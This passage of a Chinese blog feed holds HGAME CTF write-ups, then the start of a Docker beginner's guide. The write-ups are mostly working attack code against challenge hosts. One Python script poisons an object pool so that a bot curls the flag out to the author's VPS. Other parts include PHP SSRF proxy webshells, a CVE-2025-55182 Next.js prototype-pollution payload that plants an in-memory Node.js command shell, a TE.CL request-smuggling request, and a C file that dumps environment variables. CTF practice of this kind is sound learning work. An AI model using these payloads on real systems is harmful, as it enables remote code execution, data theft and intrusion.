class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">func AdminCmd(c *gin.Context) &#123;</span><br><span class="line">    // [A] Bot 从池子里取对象</span><br><span class="line">    // Bot 正好取到了你刚才放回去的那个“脏对象”</span><br><span class="line">    monitor := MonitorPool.Get().(*MonitorStruct)</span><br><span class="line">    defer MonitorPool.Put(monitor)</span><br><span class="line">    </span><br><span class="line">    // [B] Bot 发送请求：&#123;&quot;cmd&quot;: &quot;ls&quot;&#125;</span><br><span class="line">    // 注意：Bot 的请求里没有 &quot;args&quot; 字段</span><br><span class="line">    if err := c.ShouldBindJSON(monitor); err != nil &#123; ... &#125;</span><br><span class="line">    </span><br><span class="line">    // [C] 拼接命令</span><br><span class="line">    // monitor.Cmd 被 Bot 更新为 &quot;ls&quot;</span><br><span class="line">    // monitor.Args 因为 Bot 没传，所以保留了原来的值（你的恶意代码）！！！</span><br><span class="line">    fullCommand := fmt.Sprintf(&quot;%s %s&quot;, monitor.Cmd, monitor.Args)</span><br><span class="line">    // 结果变成： &quot;ls ; curl .../flag&quot;</span><br><span class="line">    </span><br><span class="line">    // [D] 执行</span><br><span class="line">    exec.Command(&quot;bash&quot;, &quot;-c&quot;, fullCommand).CombinedOutput()</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>因为 JSON 绑定通常是<strong>增量更新</strong>的。如果 JSON 里面没有 <code>args</code> 字段，解析器就不会去碰结构体里的 <code>Args</code> 字段（也就是说我放的毒不会被覆盖）</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br></pre></td><td class="code"><pre><span class="line">import requests  </span><br><span class="line">import random  </span><br><span class="line">import string  </span><br><span class="line">import time  </span><br><span class="line">  </span><br><span class="line"># ================= 配置区域 =================# 题目地址  </span><br><span class="line">TARGET_URL = &quot;http://cloud-middle.hgame.vidar.club:30267&quot;  </span><br><span class="line"># 你的云服务器 IP (用来接收 Flag)YOUR_VPS_IP = &quot;47.109.24.42&quot;  </span><br><span class="line"># 你的云服务器监听端口  </span><br><span class="line">YOUR_VPS_PORT = &quot;2333&quot;  </span><br><span class="line">  </span><br><span class="line">  </span><br><span class="line"># ===========================================  </span><br><span class="line">  </span><br><span class="line">def random_str(length=8):  </span><br><span class="line">    return &#x27;&#x27;.join(random.choices(string.ascii_lowercase + string.digits, k=length))  </span><br><span class="line">  </span><br><span class="line">  </span><br><span class="line">def get_token():  </span><br><span class="line">    &quot;&quot;&quot;自动注册并获取 Token&quot;&quot;&quot;    username = random_str()  </span><br><span class="line">    password = random_str()  </span><br><span class="line">    print(f&quot;[*] 正在注册随机账号: &#123;username&#125; / &#123;password&#125; ...&quot;)  </span><br><span class="line">  </span><br><span class="line">    try:  </span><br><span class="line">        res = requests.post(f&quot;&#123;TARGET_URL&#125;/api/account/register&quot;, json=&#123;  </span><br><span class="line">            &quot;username&quot;: username,  </span><br><span class="line">            &quot;password&quot;: password  </span><br><span class="line">        &#125;)  </span><br><span class="line">  </span><br><span class="line">        if res.status_code == 200:  </span><br><span class="line">            token = res.json().get(&quot;Authorization&quot;)  </span><br><span class="line">            if token:  </span><br><span class="line">                print(f&quot;[+] Token 获取成功: &#123;token[:20]&#125;...&quot;)  </span><br><span class="line">                return token  </span><br><span class="line">        else:  </span><br><span class="line">            print(f&quot;[-] 注册失败: &#123;res.text&#125;&quot;)  </span><br><span class="line">    except Exception as e:  </span><br><span class="line">        print(f&quot;[!] 连接错误: &#123;e&#125;&quot;)  </span><br><span class="line">    return None  </span><br><span class="line">  </span><br><span class="line">  </span><br><span class="line">def poison_pool(token):  </span><br><span class="line">    &quot;&quot;&quot;发送脏数据污染对象池&quot;&quot;&quot;  </span><br><span class="line">    # 构造 payload: 只有 args，没有 cmd    # 这里的 payload 会在服务器上执行: bash -c &#123;monitor.Cmd&#125; ; curl ...  </span><br><span class="line">    payload_args = f&quot;; curl http://&#123;YOUR_VPS_IP&#125;:&#123;YOUR_VPS_PORT&#125;/$(cat /flag)&quot;  </span><br><span class="line">  </span><br><span class="line">    headers = &#123;  </span><br><span class="line">        &quot;Content-Type&quot;: &quot;application/json&quot;,  </span><br><span class="line">        &quot;Authorization&quot;: token  </span><br><span class="line">    &#125;  </span><br><span class="line">  </span><br><span class="line">    data = &#123;  </span><br><span class="line">        &quot;args&quot;: payload_args  </span><br><span class="line">        # 注意：这里故意不传 &quot;cmd&quot; 字段，触发 binding error    &#125;  </span><br><span class="line">  </span><br><span class="line">    print(f&quot;[*] 正在发送污染包 (Target -&gt; &#123;YOUR_VPS_IP&#125;)...&quot;)  </span><br><span class="line">    try:  </span><br><span class="line">        res = requests.post(f&quot;&#123;TARGET_URL&#125;/api/user/cmd&quot;, json=data, headers=headers)  </span><br><span class="line">  </span><br><span class="line">        # 我们期望收到 400 错误，包含 &#x27;Field validation for Cmd failed&#x27;        if &quot;Field validation&quot; in res.text and &quot;Cmd&quot; in res.text:  </span><br><span class="line">            print(&quot;[+] 攻击成功！对象池已污染 (Dirty Object Injected)&quot;)  </span><br><span class="line">            print(&quot;[*] 现在请盯着你的 VPS 日志，等待 Bot 触发...&quot;)  </span><br><span class="line">        else:  </span><br><span class="line">            print(f&quot;[-] 响应未达预期 (可能也成功了): &#123;res.text&#125;&quot;)  </span><br><span class="line">  </span><br><span class="line">    except Exception as e:  </span><br><span class="line">        print(f&quot;[!] 发送请求失败: &#123;e&#125;&quot;)  </span><br><span class="line">  </span><br><span class="line">  </span><br><span class="line">if __name__ == &quot;__main__&quot;:  </span><br><span class="line">    token = get_token()  </span><br><span class="line">    if token:  </span><br><span class="line">        poison_pool(token)</span><br></pre></td></tr></table></figure><p><img src="/images/72.png"><br>7. misc 打好基础<br>先放在随波逐流里面一键解码 感觉就base100有点像能二次解码的东西 提出来 然后<img src="/images/73.png"><br>ok了<br>8. Vidarshop<br>爆破出jwt密钥 为111 但这个题其实可以不爆破啊 直接取个擦边的 比如admin1之类的去看生成规则 伪造完uid之后 我以为可以直接抓包改了 没用 后面想到原型链污染<img src="/images/77.png"><br>就这样子<br>然后<img src="/images/76.png"><br>去购买flag即可<br>9. easyuu<br>通过抓包 存在路径穿越 可读取任意文件<br><img src="/IMAGES/83.PNG"><br>在 <code>/app/update</code> 发现 <code>easyuu.zip</code> 源码包<br><img src="/images/86.png"><br>解压后审计 <code>src/app.rs</code> &#x2F; <code>src/main.rs</code>，发现：</p><ul><li><code>list_dir(path: String)</code> -&gt; <code>/api/list_dir</code>，<code>path</code> 完全可控，可任意目录遍历。</li><li><code>upload_file(data)</code> -&gt; <code>/api/upload_file</code>，支持 <code>path1</code> 字段改写写入目录。</li><li><code>main.rs</code> 存在后台 <code>update_watcher()</code>：每 5 秒执行 <code>./update/easyuu --version</code><br>然后传入这个脚本</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">#include &lt;stdio.h&gt;</span><br><span class="line">#include &lt;stdlib.h&gt;</span><br><span class="line">#include &lt;unistd.h&gt;</span><br><span class="line"></span><br><span class="line">int main(int argc, char *argv[]) &#123;</span><br><span class="line">    system(&quot;env &gt; /app/uploads/1.txt&quot;);</span><br><span class="line">    return 0;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>意思就是把环境变量写入这个文件 然后可以看到<br><img src="/images/88.png"><br><strong>以下是复现 官方wp写的草率 不过反而学到了更多</strong><br>10. baby web<br>能够正常传php马 但是看不到什么 <img src="/images/93.png"><br>能拿到的信息比较少 内网探测<br><img src="/images/94.png"></p><p>内网存在 10.0.0.2<br>上传一个PHP代理脚本，利用PHP的curl扩展作为SSRF跳板访问内网Next.js服务。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line">// 1. 接收你想访问的内网路径，默认访问根目录</span><br><span class="line">$path = isset($_GET[&#x27;path&#x27;]) ? $_GET[&#x27;path&#x27;] : &#x27;/&#x27;;</span><br><span class="line">$url = &quot;http://10.0.0.2:3000&quot; . $path;</span><br><span class="line"></span><br><span class="line">// 2. 初始化 cURL，准备向内网发包</span><br><span class="line">$ch = curl_init($url);</span><br><span class="line">$method = $_SERVER[&#x27;REQUEST_METHOD&#x27;];</span><br><span class="line">curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);</span><br><span class="line"></span><br><span class="line">// 3. 【关键点】转发 Content-Type 请求头</span><br><span class="line">// 漏洞利用强依赖 Content-Type 中的 boundary 参数，必须透传</span><br><span class="line">$headers = array();</span><br><span class="line">$contentType = isset($_SERVER[&quot;CONTENT_TYPE&quot;]) ? $_SERVER[&quot;CONTENT_TYPE&quot;] : &#x27;&#x27;;</span><br><span class="line">if ($contentType) &#123;</span><br><span class="line">    $headers[] = &quot;Content-Type: &quot; . $contentType;</span><br><span class="line">&#125;</span><br><span class="line">curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);</span><br><span class="line"></span><br><span class="line">// 4. 【关键点】转发原始 POST 实体</span><br><span class="line">if ($method === &#x27;POST&#x27;) &#123;</span><br><span class="line">    // 导师划重点：千万不要用 $_POST！</span><br><span class="line">    // php://input 可以读取到最原始的、未经 PHP 解析的 HTTP Body 数据</span><br><span class="line">    $body = file_get_contents(&#x27;php://input&#x27;);</span><br><span class="line">    curl_setopt($ch, CURLOPT_POSTFIELDS, $body);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">// 5. 获取响应并返回给攻击者（你的电脑）</span><br><span class="line">curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);</span><br><span class="line">curl_setopt($ch, CURLOPT_HEADER, false);</span><br><span class="line"></span><br><span class="line">$response = curl_exec($ch);</span><br><span class="line">echo $response;</span><br><span class="line"></span><br><span class="line">curl_close($ch);</span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure><p><img src="/images/95.png"><br>可以看到这里是有flag的 但是无法进行更多操作</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line"></span><br><span class="line">// 专门用于打 Next.js 的代理</span><br><span class="line"></span><br><span class="line">$url = &quot;http://10.0.0.2:3000/&quot;;</span><br><span class="line"></span><br><span class="line">$ch = curl_init($url);</span><br><span class="line"></span><br><span class="line">  </span><br><span class="line"></span><br><span class="line">// 强行指定 POST 方法</span><br><span class="line"></span><br><span class="line">curl_setopt($ch, CURLOPT_CUSTOMREQUEST, &#x27;POST&#x27;);</span><br><span class="line"></span><br><span class="line">  </span><br><span class="line"></span><br><span class="line">// 【核心魔法】在这里硬编码 Next.js 需要的漏洞触发头</span><br><span class="line"></span><br><span class="line">// 这样就完美避开了 PHP 对 multipart 的拦截</span><br><span class="line"></span><br><span class="line">$headers = array(</span><br><span class="line"></span><br><span class="line">    &quot;Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryCVE202555182&quot;,</span><br><span class="line"></span><br><span class="line">    &quot;Next-Action: exploit_cve_2025_55182&quot;</span><br><span class="line"></span><br><span class="line">);</span><br><span class="line"></span><br><span class="line">curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);</span><br><span class="line"></span><br><span class="line">  </span><br><span class="line"></span><br><span class="line">// 因为 Python 传来的是纯文本，php://input 里完好无损地保存着我们的 Payload</span><br><span class="line"></span><br><span class="line">$body = file_get_contents(&#x27;php://input&#x27;);</span><br><span class="line"></span><br><span class="line">curl_setopt($ch, CURLOPT_POSTFIELDS, $body);</span><br><span class="line"></span><br><span class="line">  </span><br><span class="line"></span><br><span class="line">curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);</span><br><span class="line"></span><br><span class="line">echo curl_exec($ch);</span><br><span class="line"></span><br><span class="line">curl_close($ch);</span><br><span class="line"></span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure><p>继续传 最后ai利用CVE-2025-55182挂上了内存马</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br></pre></td><td class="code"><pre><span class="line">import requests  </span><br><span class="line">import urllib.parse  </span><br><span class="line">import time  </span><br><span class="line">  </span><br><span class="line"># 代理地址  </span><br><span class="line">exploit_proxy_url = &quot;http://forward.vidar.club:32211/uploads/exploit_proxy.php&quot;  </span><br><span class="line">normal_proxy_url = &quot;http://forward.vidar.club:32211/uploads/9.php&quot;  </span><br><span class="line">  </span><br><span class="line">boundary = &quot;----WebKitFormBoundaryCVE202555182&quot;  </span><br><span class="line">  </span><br><span class="line"># ================= 第五步：注入内存 Webshell =================# 真正的内存马：兼容 Function 作用域，挂载底层 http 拦截器  </span><br><span class="line">memory_webshell_js = &quot;try&#123;var rq=typeof process!==&#x27;undefined&#x27;&amp;&amp;process.mainModule?process.mainModule.require:require;var h=rq(&#x27;http&#x27;);var cp=rq(&#x27;child_process&#x27;);if(!h.Server.prototype.__hk)&#123;var o=h.Server.prototype.emit;h.Server.prototype.emit=function(e,req,res)&#123;if(e===&#x27;request&#x27;&amp;&amp;req.url.indexOf(&#x27;cmd=&#x27;)!==-1)&#123;try&#123;var c=decodeURIComponent(req.url.split(&#x27;cmd=&#x27;)[1].split(&#x27;&amp;&#x27;)[0]);res.writeHead(200);res.end(cp.execSync(c).toString());&#125;catch(err)&#123;res.writeHead(500);res.end(err.message);&#125;return;&#125;return o.apply(this,arguments);&#125;;h.Server.prototype.__hk=true;&#125;&#125;catch(ex)&#123;&#125;//&quot;  </span><br><span class="line">  </span><br><span class="line">chunk_0 = f&#x27;&#123;&#123;&quot;then&quot;:&quot;$1:__proto__:then&quot;,&quot;status&quot;:&quot;resolved_model&quot;,&quot;reason&quot;:-1,&quot;value&quot;:&quot;&#123;&#123;\\&quot;then\\&quot;:\\&quot;$B1337\\&quot;&#125;&#125;&quot;,&quot;_response&quot;:&#123;&#123;&quot;_prefix&quot;:&quot;&#123;memory_webshell_js&#125;&quot;,&quot;_formData&quot;:&#123;&#123;&quot;get&quot;:&quot;$1:constructor:constructor&quot;&#125;&#125;&#125;&#125;&#125;&#125;&#x27;  </span><br><span class="line">  </span><br><span class="line">raw_body = (  </span><br><span class="line">    f&quot;--&#123;boundary&#125;\r\n&quot;  </span><br><span class="line">    f&#x27;Content-Disposition: form-data; name=&quot;0&quot;\r\n\r\n&#x27;  </span><br><span class="line">    f&#x27;&#123;chunk_0&#125;\r\n&#x27;  </span><br><span class="line">    f&quot;--&#123;boundary&#125;\r\n&quot;  </span><br><span class="line">    f&#x27;Content-Disposition: form-data; name=&quot;1&quot;\r\n\r\n&#x27;  </span><br><span class="line">    f&#x27;&quot;$@0&quot;\r\n&#x27;  </span><br><span class="line">    f&quot;--&#123;boundary&#125;--\r\n&quot;  </span><br><span class="line">)  </span><br><span class="line">  </span><br><span class="line">print(&quot;[*] 第五步：正在利用真实 React2Shell PoC 注入内存马...&quot;)  </span><br><span class="line">try:  </span><br><span class="line">    # 依然使用纯文本伪装，防 PHP 吃掉 multipart    requests.post(  </span><br><span class="line">        exploit_proxy_url,  </span><br><span class="line">        headers=&#123;&quot;Content-Type&quot;: &quot;text/plain&quot;&#125;,  </span><br><span class="line">        data=raw_body.encode(&#x27;utf-8&#x27;)  </span><br><span class="line">    )  </span><br><span class="line">    print(&quot;[+] 注入指令已发送！&quot;)  </span><br><span class="line">except Exception as e:  </span><br><span class="line">    print(&quot;[-] 网络请求异常:&quot;, e)  </span><br><span class="line">  </span><br><span class="line"># 给 Node.js 一点时间处理反序列化并挂载钩子  </span><br><span class="line">time.sleep(2)  </span><br><span class="line">  </span><br><span class="line"># ================= 第六步：读取 Flag =================print(&quot;\n[*] 第六步：利用被动内存马读取 Flag...&quot;)  </span><br><span class="line">  </span><br><span class="line"># 对路径和命令进行双重 URL 编码，确保安全穿透 PHP 代理到达内网  </span><br><span class="line">cmd = urllib.parse.quote(&quot;cat /flag&quot;)  </span><br><span class="line">path = urllib.parse.quote(f&quot;/?cmd=&#123;cmd&#125;&quot;)  </span><br><span class="line">  </span><br><span class="line">target_url = f&quot;&#123;normal_proxy_url&#125;?path=&#123;path&#125;&quot;  </span><br><span class="line">  </span><br><span class="line">try:  </span><br><span class="line">    res = requests.get(target_url)  </span><br><span class="line">    print(&quot;\n================ 🏆 FLAG ================&quot;)  </span><br><span class="line">    if res.status_code == 200 and &quot;flag&#123;&quot; in res.text:  </span><br><span class="line">        print(res.text.strip())  </span><br><span class="line">    elif &quot;flag&#123;&quot; in res.text:  </span><br><span class="line">        print(res.text.strip())  </span><br><span class="line">    else:  </span><br><span class="line">        print(&quot;未直接看到 Flag，返回内容：\n&quot;, res.text[:500])  </span><br><span class="line">    print(&quot;==========================================&quot;)  </span><br><span class="line">except Exception as e:  </span><br><span class="line">    print(&quot;[-] 获取 Flag 失败:&quot;, e)</span><br></pre></td></tr></table></figure><p>得到flag flag{T4RGeT-IN-FAk3_tARG3t_xIXl6d1b2d2d1}<br>这个漏洞后面可以进行研究一下<br>11. 文文新闻<br>第二周里面应该打出来的题 自己没有死磕 刚学的东西不拿出去用<br>TE.CL</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">POST /api/login HTTP/1.1</span><br><span class="line">Host: forward.vidar.club:31300</span><br><span class="line">Content-Type: application/x-www-form-urlencoded</span><br><span class="line">Transfer-Encoding: chunked</span><br><span class="line"></span><br><span class="line">a1</span><br><span class="line">POST /api/comment HTTP/1.1</span><br><span class="line">Content-Type: application/x-www-form-urlencoded</span><br><span class="line">Authorization: 3dc1f3d7-61bf-4acc-a045-586c81f6245b</span><br><span class="line">Content-Length: 350</span><br><span class="line"></span><br><span class="line">content=</span><br><span class="line">0</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>前端全部发送过去后 后端要接受350个长度的字符 这时候bot来访问 然后就带上信息了 得到<br><img src="/images/96.png"></p>]]>
    </content>
    <id>http://47.109.24.42/2026/03/01/Hgamectf/</id>
    <link href="http://47.109.24.42/2026/03/01/Hgamectf/"/>
    <published>2026-03-01T13:00:00.000Z</published>
    <summary>
      <![CDATA[<ol>
<li>web 魔法书<br>根据提示 抓包改阅读时间 得到弹窗</li>
<li>密码 Classic<br>最后一行密文<br><code>VUHHX{Tti Julxmzooz sm zhq Rlc azh ane Apk}</code><br>然后明文VIDAR]]>
    </summary>
    <title>Hgamectf</title>
    <updated>2026-03-01T13:00:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>xiexie</name>
    </author>
    <category term="学习笔记" scheme="http://47.109.24.42/categories/%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"/>
    <category term="学习task" scheme="http://47.109.24.42/tags/%E5%AD%A6%E4%B9%A0task/"/>
    <content>
      <![CDATA[<h3 id="Docker是什么"><a href="#Docker是什么" class="headerlink" title="Docker是什么"></a>Docker是什么</h3><p>在没有Docker之前 如果你要在电脑上跑一个别人写的 CTF Web 题目 要在自己电脑上装一堆符合的环境   Docker 就是一个极其轻量级的“虚拟机”替代方案 两个最核心的概念<br><strong>镜像 (Image)</strong> 它是一个只读的文件，里面打包好了操作系统基础、运行环境（比如 PHP）和题目代码<br><strong>容器 (Container)</strong> 容器是一个隔离的沙箱，题目就在这个沙箱里运行</p><h3 id="基础操作"><a href="#基础操作" class="headerlink" title="基础操作"></a>基础操作</h3><ol><li>镜像</li></ol><ul><li><p><strong><code>docker images</code></strong></p><ul><li><strong>作用</strong>：查看本地所有镜像（看看你的武器库里都有啥）。</li></ul></li><li><p><strong><code>docker search &lt;关键词&gt;</code></strong></p><ul><li><strong>场景</strong>：你想找个现成的靶场，比如输入 <code>docker search sqli-labs</code>，可以直接在终端搜找别人做好的镜像。</li></ul></li><li><p><strong><code>docker pull &lt;镜像名:标签&gt;</code></strong></p><ul><li><p><strong>作用</strong>：把云端的镜像拉到本地。如果不写标签（冒号后面的部分），默认拉取 <code>latest</code>（最新版）。</p></li><li><p><strong>示例</strong>：<code>docker pull ubuntu:20.04</code></p></li></ul></li><li><p><strong><code>docker rmi &lt;镜像ID或名字&gt;</code></strong></p><ul><li><p><strong>作用</strong>：删除镜像（Remove Image）。</p></li><li><p><strong>避坑</strong>：如果报错说镜像正在被使用，说明有基于它的容器（即使是停止状态的）存在。必须先删容器，再删镜像。</p></li></ul></li></ul><ol start="2"><li>容器</li></ol><ul><li><p><strong><code>docker ps</code></strong></p><ul><li><strong>作用</strong>：查看<strong>正在运行</strong>的容器。这能帮你快速找到当前开了哪些端口。</li></ul></li><li><p><strong><code>docker ps -a</code></strong></p><ul><li><strong>作用</strong>：查看<strong>所有</strong>容器（包括报错闪退的、已经停止的）。排错时非常有用。</li></ul></li><li><p><strong><code>docker stop &lt;容器名/ID&gt;</code></strong> &#x2F; <strong><code>docker start &lt;容器名/ID&gt;</code></strong></p><ul><li><strong>作用</strong>：优雅地停止&#x2F;启动容器。</li></ul></li><li><p><strong><code>docker rm &lt;容器名/ID&gt;</code></strong></p><ul><li><strong>作用</strong>：删除容器。如果容器还在跑，可以加 <code>-f</code> (force) 强制删除：<code>docker rm -f my_ctf_web</code>。</li></ul></li><li><p><strong><code>docker logs -f &lt;容器名/ID&gt;</code></strong></p><ul><li><strong>场景</strong>：Web 服务报错误了用这个命令实时追踪容器的后台输出日志，<code>-f</code> 表示持续跟踪不退出</li></ul></li><li><p><strong><code>docker exec -it &lt;容器名/ID&gt; /bin/bash</code></strong></p><ul><li><strong>作用</strong>：钻进运行中的容器里，获得一个交互式 Shell 进行调试</li></ul></li></ul><ol start="3"><li>参数</li></ol><table><thead><tr><th>参数</th><th>英文全称</th><th>说明</th><th>实用场景&#x2F;示例</th></tr></thead><tbody><tr><td>-d</td><td>Detach</td><td>后台运行</td><td>跑 Web 靶场必加，避免终端被卡住无法执行其他命令</td></tr><tr><td>-p</td><td>Publish</td><td>端口映射，格式：-p 宿主机端口:容器端口</td><td>示例：-p 8080:80（将宿主机8080端口映射到容器80端口）</td></tr><tr><td>–name</td><td>Name</td><td>为容器自定义命名</td><td>示例：–name xiexie（避免系统生成随机难记的容器名）</td></tr><tr><td>-e</td><td>Env</td><td>设置容器内的环境变量</td><td>示例：-e FLAG&#x3D;flag{xiexie}</td></tr><tr><td>-v</td><td>Volume</td><td>目录挂载，格式：-v &#x2F;本地代码目录:&#x2F;容器内部目录</td><td>宿主机改代码容器内实时生效，无需反复重启容器</td></tr><tr><td>–rm</td><td>Remove</td><td>阅后即焚，容器停止后自动销毁</td><td>适合一次性测试，不残留容器文件、不占用磁盘空间</td></tr><tr><td></td><td></td><td></td><td></td></tr><tr><td>4. 核心命令大全</td><td></td><td></td><td></td></tr></tbody></table><table><thead><tr><th>命令</th><th>功能</th><th>示例</th></tr></thead><tbody><tr><td>docker run</td><td>启动一个新的容器并运行命令</td><td>docker run -d ubuntu</td></tr><tr><td>docker ps</td><td>列出当前正在运行的容器</td><td>docker ps</td></tr><tr><td>docker ps -a</td><td>列出所有容器（包括已停止的容器）</td><td>docker ps -a</td></tr><tr><td>docker build</td><td>使用Dockerfile构建镜像</td><td>docker build -t my-image .</td></tr><tr><td>docker images</td><td>列出本地存储的所有镜像</td><td>docker images</td></tr><tr><td>docker pull</td><td>从 Docker 仓库拉取镜像</td><td>docker pull ubuntu</td></tr><tr><td>docker push</td><td>将镜像推送到 Docker 仓库</td><td>docker push my-image</td></tr><tr><td>docker exec</td><td>在运行的容器中执行命令</td><td>docker exec -it 23dfd567926a bash</td></tr><tr><td>docker stop</td><td>停止一个或多个容器</td><td>docker stop container_name</td></tr><tr><td>docker start</td><td>启动已经停止的容器</td><td>docker start container_name</td></tr><tr><td>docker restart</td><td>重启一个容器</td><td>docker restart container_name</td></tr><tr><td>docker rm</td><td>删除一个或多个容器</td><td>docker rm container_name</td></tr><tr><td>docker rmi</td><td>删除一个或多个镜像</td><td>docker rmi my-image</td></tr><tr><td>docker logs</td><td>查看容器的日志</td><td>docker logs container_name</td></tr><tr><td>docker inspect</td><td>获取容器或镜像的详细信息</td><td>docker inspect container_name</td></tr><tr><td>docker exec -it</td><td>进入容器的交互式终端</td><td>docker exec -it container_name &#x2F;bin&#x2F;bash</td></tr><tr><td>docker network ls</td><td>列出所有 Docker 网络</td><td>docker network ls</td></tr><tr><td>docker volume ls</td><td>列出所有 Docker 卷</td><td>docker 